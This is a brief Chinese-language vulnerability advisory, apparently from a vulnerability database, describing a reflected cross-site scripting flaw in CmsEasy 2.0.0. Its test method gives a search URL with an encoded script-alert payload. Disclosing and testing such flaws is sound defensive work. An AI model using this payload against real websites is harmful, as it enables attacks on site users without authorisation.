影响版本:
CmsEasy 2.0.0

漏洞描述:


易通企业网站系统也称易通企业网站程序,是易通公司开发中国首套免费提供企业网站模板的营销型企业网站管理系统,系统前台生成html、完全符合SEO、同时有在线客服、潜在客户跟踪、便捷企业网站模板制作、搜索引擎推广等功能的企业网站系统。

<*参考

*>


测试方法:

?act=search&case=%3Cscript%3Ealert%28/xss/%29%3C/script%3E